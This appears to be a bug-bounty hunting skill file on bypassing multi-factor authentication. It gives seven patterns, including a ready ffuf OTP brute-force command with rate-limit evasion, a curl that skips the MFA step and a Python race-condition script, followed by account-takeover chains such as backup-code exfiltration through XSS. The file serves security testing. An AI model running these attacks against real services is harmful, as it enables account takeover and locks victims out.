hunt-mfa-bypass

## 19. MFA / 2FA BYPASS
> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.

### Pattern 1: No Rate Limit on OTP
```bash
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
```

### Pattern 2: OTP Not Invalidated After Use
```
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
```

### Pattern 3: Response Manipulation
```
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
```

### Pattern 4: Skip MFA Step (Workflow Bypass)
```bash
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
```

### Pattern 5: Race on MFA Verification
```python
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
```

### Pattern 6: Backup Code Brute Force
```
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
```

### Pattern 7: "Remember This Device" Trust Escalation
```
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
```

### MFA Chain Escalation
```
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
```

---

## Related Skills & Chains

- **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.
- **`hunt-race-condition`** — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.
- **`hunt-auth-bypass`** — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to `/dashboard` skipping `/mfa` route + server only middleware-gates `/mfa` not `/dashboard` = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.
- **`hunt-misc`** — Recovery-code dump via `/api/me` is a misc-class info disclosure that becomes Critical when chained. Chain primitive: `/api/me` returns full user object including `backup_codes` array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.
- **`security-arsenal`** — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with `-t 5 -p 0.5-2`, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged.
- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.